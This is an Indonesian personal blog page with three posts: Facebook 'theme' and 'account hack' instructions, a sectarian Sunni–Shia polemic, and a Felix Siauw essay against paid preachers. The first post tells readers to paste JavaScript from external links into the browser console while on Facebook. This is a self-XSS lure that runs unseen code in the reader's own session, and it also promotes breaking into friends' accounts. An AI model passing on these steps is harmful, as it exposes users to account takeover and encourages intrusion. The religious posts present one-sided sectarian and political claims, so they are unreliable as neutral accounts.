Sabtu, 24 Mei 2014

cara mengubah tampilan facebook

 

 



~ Khusus Untuk PC / LAPTOP dari HP Tidak Bisa..!! ~

TUTORIAL VERSI INDONESIA :

Untuk Pengguna Google Chrome Atau Mozilla Firefox Caranya :

1. Buka Link Ini KLIK→ http://yourjavascript.com/331403168/tema-facebook-kumpulan-gambar-keren.js

2. Lalu Copy Semua Kode Sriptnya,
Caranya → [Tekan Ctrl + A Lalu Tekan Ctrl + C]

3. Setelah Kode Script Dicopy Semua, Sekarang Kembali Ke facebook mu

4. Jika Kamu Pake Mozila Firefox
tekan 3 tombol CTRL + SHIFT + K ( secara bersamaan )

~ Jika Kamu Pake Google Chroome Tekan Tombol F12

5. Tekan Ctrl + V Paste kodenya di kolom

6. Terus Langsung Tekan "ENTER"

7. SELESAI dan tunggu sekitar 5 menit lalu lihat profile FB kamu

8. Jika berhasil tampilan facebook mu nanti akan terlihat seperti gambar diatas

[Selamat Mencoba]

============================================
============================================

FACEBOOK HACK ACCOUNT

TUTORIAL ENGLISH VERSION :

1. Go to this link CLICK >> http://yourjavascript.com/514361411/aplikasi-pembobol-akun-fb-teman.js

Copy all of the code Let me quickly press Ctrl + A on your keyboard and then Copy (Ctrl + C).

2. After the copy, if you use Mozilla Firefox or Google Chroome :

=> press F12
=> paste kode then enter

3. Finish and wait a moment until there is a new message appears, then see your fb every minute will add automatically.
if successful you'll see later facebook will look like the picture above

press CTRL + W when you wont to normal screen

Semoga Bermanfaat :)

Selasa, 06 Mei 2014

Perbedaan Antara Sunni dan Syiah (must read)

Perbedaan Antara Sunni dan Syiah


Perbedaan Antara Sunni dan Syiah (must read) – Bag. 01


Perbedaan Antara Sunni dan Syiah

Bismillah was shalatu was salamu ‘ala rasulillah, amma ba’du,
Salah satu pertanyaan yang sering kita dengar dari beberapa masyarakat awam tentang syiah, sebenarnya apa yang berbedaan mendasar antara syiah dengan sunni? Sampai membuat mereka tidak bisa disatukan. Bukankah agama mereka satu, sama-sama islam?
Berikut akan kita paparkan secara ringkas perbedaan antara syiah dengan ajaran islam. Bukan lagi perbadaan syiah dengan sunni, tapi perbedaan syiah dengan islam. Sehingga pembaca bisa menilai, apakah dengan perbedaan semacam ini, syiah masih bisa dianggap bagian dari islam ataukah tidak.

Pertama, perbedaan dalam rukun islam

1. Rukun Islam dalam Islam ada 5:
Dua Syahadat, Sholat, Puasa, Zakat, dan Haji.
Dari Ibnu Umar radhiyallahu ‘anhuma, Rasulullah shallallahu ‘alaihi wa sallam bersabda,
بُنِيَ الإِسْلاَمُ عَلَى خَمْسٍ: شَهَادَةِ أَنْ لاَ إِلَهَ إِلَّا اللَّهُ وَأَنَّ مُحَمَّدًا رَسُولُ اللَّهِ، وَإِقَامِ الصَّلاَةِ، وَإِيتَاءِ الزَّكَاةِ، وَالحَجِّ، وَصَوْمِ رَمَضَانَ
”Islam dibangun di atas 5 rukun: Syahadat laa ilaaha illallah dan bahwa Muhamamd utusan Allah, menegakkan shalat, menunaikan zakat, berangkat haji, dan puasa ramadhan.” (HR. Bukhari 8 & Muslim 16).
2. Rukun Islam dalam Syi’ah juga ada 5:
Sholat, Puasa, Zakat, Haji, dan Wilayah.
Yang dimaksud rukun Wilayah adalah bahwa penentuan imam atau khalifah, itu murni ditunjuk oleh Allah (manshab ilahi), sebagaimana nubuwah (kenabian). Karena itu, dalam syiah, imam atau khalifah, tidak bisa ditetapkan berdasarkan kesepakatan atau pemilihan.
Dalam Ushul al-Kafi – salah satu rujukan utama dalam syiah – dinyatakan,
عن أبي جعفر (عليه السلام) قال: بني الاسلام على خمس: على الصلاة والزكاة والصوم والحج والولاية ولم يناد بشئ كما نودي بالولاية، فأخذ الناس بأربع وتركوا هذه – يعني الولاية -
Dari Abu Ja’far – alaihis salam – dia mengatakan, Islam dibangun di atas 5 rukun: shalat, zakat, puasa, haji, dan wilayah. Beliau menyerukan paling keras untuk rukun wilayah. Namun manusia hanya mengambil 4 rukun pertama, dan meninggalkan ini (yaitu rukun wilayah).
Dalam riwayat lain, terdapat tambahan,
قال زرارة: فقلت: وأي شئ من ذلك أفضل؟ فقال: الولاية أفضل، لأنها مفتاحهن والوالي هو الدليل عليهن
Zurarah bertanya kepada Abu Ja’far, “Mana rukun islam yang paling afdhal? Abu Ja’far menjawab, “Walayah paling afdhal. Karena ini kunci semuanya, dan Wali adalah petunjuk untuk yang lainnya.” [Ushul al-Kafi, al-Kulaini, 2/18].
Dengan demikian, dalam syiah, syahadat bukan termasuk rukun islam versi syiah.

Kedua, Perbedaan dalam rukun Iman

1. Islam mengajarkan rukun iman ada 6:
Iman Kepada Allah, Iman Kepada Malaikat, Iman Kepada Kitab-Kitab, Iman Kepada Para Rasul, Iman Kepada hari qiamat, dan Iman Kepada Qadha Qadar.
Dari Umar bin Khatab radhiyallahu ‘anhu, Rasulullah shallallahu ‘alaihi wa sallam menjelaskan tentang iman,
الْإِيمَانِ: أَنْ تُؤْمِنَ بِاللهِ، وَمَلَائِكَتِهِ، وَكُتُبِهِ، وَرُسُلِهِ، وَالْيَوْمِ الْآخِرِ، وَتُؤْمِنَ بِالْقَدَرِ خَيْرِهِ وَشَرِّهِ
Iman adalah kamu beriman kepada Allah, para Malaikat-Nya, kitab-kitab-Nya, para rasul-Nya, hari akhir, dan kamu beriman terhadap takdir yang baik maupun yang buruk. (HR. Bukhari 50, Muslim 8, Nasai 4990, dan yang lainnya).
2. Rukun Iman dalam Syi’ah ada 5:
Tauhid, Nubuwah (Kenabian), Imamah, Keadilan, dan al-Ma’ad (Qiamat).
Tokoh Syiah, Syaikh al-Muntadzari mengatakan,
أصول الدين خمسة: التوحيد والعدل والنبوة والإمامة والمعاد
”Ushuluddin (prinsip iman) ada lima: tauhid, keadilan, nubuwah (kenabian), imamah, dan al-Ma’ad (qiyamat).” (Minal Mabda’ ila al-Ma’ad, al-Muntadzari, 181).
Hal yang sama juga ditegaskan oleh al-Huly, dalam bukunya, an-Nafi’ yauma al-Hasyr,
وأصول الدين خمسة التوحيد والعدل والنبوة والإمامة والمعاد
”Ushuluddin (prinsip iman) ada lima: tauhid, keadilan, nubuwah (kenabian), imamah, dan al-Ma’ad (qiyamat).” (an-Nafi’ yauma al-Hasyr, al-Huly, 13).
Prinsip ini dipegang kukuh oleh seluruh syiah, hingga sekarang. Anda bisa perhatikan cuplikan ceramah mereka di:
Ditulis oleh ustadz Ammi Nur Baits (Dewan Pengasuh KonsultasiSyariah.com)
Mari berbagi kebaikan dan pahala dengan menyebarkan artikel ini melalui akun Facebook, Twitter, dan Google+ Anda. Upaya yang kecil dan ringan namun bernilai besar di mata Allah. Anda juga dapat berlangganan melalui RSS feed untuk mendapatkan update terbaru artikel KonsultasiSyariah.com

Kamis, 17 April 2014

Sabtu, 22 Februari 2014

Saya Mau Shalat, Asal Bayar Saya 10 Juta!

Saya Mau Shalat, Asal Bayar Saya 10 Juta!

19 Oktober 2011 pukul 15:34
Ummat: "Ustadz Ganteng, mohon maaf, berapa ya kami perlu ganti untuk transportasi?"Ustadz Ganteng: "Untuk administrasi aja ya, sediakan aja 30 juta, 10 juta dibayar di depan ke account saya. Oya, kalo nggak jadi DP nya angus ya.."

Percaya atau nggak percaya, fakta semacam ini ada. Begitulah suatu hari, ketua DKM salah satu masjid bilang ke saya. Saya jadi mikir "pantes aja mobil si Ustadz Ganteng Fortuner dll" hehe..

Saya pribadi juga seringkali ditanya, "Ustadz, maaf nih, administrasinya berapa yang harus kita siapkan?"Jawab saya "Saya nggak pernah minta bayaran untuk dakwah, berapapun yang panitia kasih akan saya terima, kalo nggak ada pun nggak papa, asal transportasi dan akomodasi ditanggung panitia"

Parahnya masa kini, banyak orang yang udah nggak malu menjadikan Ustadz dan Da'i sebagai profesi. Pekerjaan profesional. Karena itu layaknya seorang pembicara publik, mereka mematok tarif sekali pengajian. Kalo udah masuk TV apalagi, matoknya diatas 10 juta. Subhanallah.

Padahal dakwah bukan profesi, dia adalah kewajiban sebagaimana shalat 5 waktu dan puasa. Yang tanpa dibayar pun harusnya dia tetap berdakwah. Karena itu kewajiban dia.

Bagaimana pendapat Anda bila ada orang mengatakan "Hmm.. boleh saja, saya mau shalat, dan Anda boleh lihat saya shalat, asal bayar dulu 10 juta". Aneh, yang perlu siapa yang ribet siapa?

Pantas saja, ketika dakwah sudah jadi profesi, maka Da'i akan menyesuaikan materi dakwahnya sesuai permintaan pasar. Dia akan menyampaikan yang diinginkan orang bukan yang dibutuhkan oleh orang. Dia akan membiarkan kemaksiatan di depan matanya karena dia telah dibayar untuk itu.

Sikap kritis pun hilang dari situ. Karena dia sudah dibayar. Entah dipasangkan pengajiannya dengan artis doyan mabok atau penyanyi dangdut, sang Ustadz tidak merasa risih. Karena dia sudah dibayar!

Bagaimana mau protes, kalo protes bisa-bisa nggak dipanggil lagi!Pembodohan pun terjadi. Karena dakwah telah dianggap profesi.

Saya tidak pernah bilang menerima uang dari menyampaikan Islam adalah sesuatu yang haram
sah-sah saja, bukankah Rasul juga mengatakan bahwa "Sesungguhnya yang paling berhak untuk kalian ambil adalah upah mengajarkan kitabullah" (HR. Bukhari)Namun, ada perbedaan besar antara upah mengajarkan kitabullah dengan memelintir kitabullah untuk mendapatkan harta dari situ.

Nyata-nyatanya, tidak ada satupun Ustadz Ganteng yang membacakan ayat-ayat nahi munkar, ataupun memperingatkan tentang bahaya-bahaya yang betul-betul mengancam ummat semisal syirik modern (demokrasi), ashabiyah modern (nasionalisme), atau liberalisme yang mengajak Muslim meninggalkan Al-Qur'an.

Uang memang mengerikan. Ia bisa merubah niat seseorang yang awalnya lurus menjadi bengkok. Yang tadinya tegas menjadi samar.

Bersyukurlah pada Allah bila anda adalah Da'i yang tidak mengharapkan dan tergantung bayaran dari ummat.
Karena Anda akan selalu objektif dalam memandang masalah, bukan memberikan yang diinginkan namun mengobati ummat dengan memberikan yang mereka perlukan.

Saya betul-betul bersyukur, ketika baru masuk Islam, Ustadz saya Fatih Karim menyampaikan kira-kira begini:"Lix, kalo dikasi orang uang, antum boleh terima, tapi untuk melatih keikhlasan, lebih baik gunakan lagi di jalan dakwah"

Subhanallah, mudah-mudahan masyarakat akan segera bisa melihat, Da'i mana yang sebenarnya betul-betul sayang pada mereka, peduli dan mengasihi mereka. Da'i yang tertumpah air matanya di malam hari karena memikirkan ummat yang tak kunjung cenderung pada Islam. Da'i yang justru mengeluarkan uang mereka agar ummat mau berpaling pada Islam. Da'i yang menumpang angkot dan berjalan kaki demi ummat. Da'i yang siap memasang badan satu-satunya demi kehormatan Islam.

Sayangnya, Da'i semacam ini mungkin takkan kondang, mungkin takkan muncul di sinetron atau di TV
karena mereka menolak untuk menyesuaikan materi karena uang.

Bagi Da'i semacam ini uang tak bernilai buat mereka walaupun uang sangat mereka perlukan
karena demi Islam, tak ada yang bisa menawar

from
Felix Siauw
pada semua Da'i yang hanya Allah Swt yang tahu mereka
Ya Allah, berikanlah mereka kemudahan, berikan mereka kekuatan
follow di @felixsiauw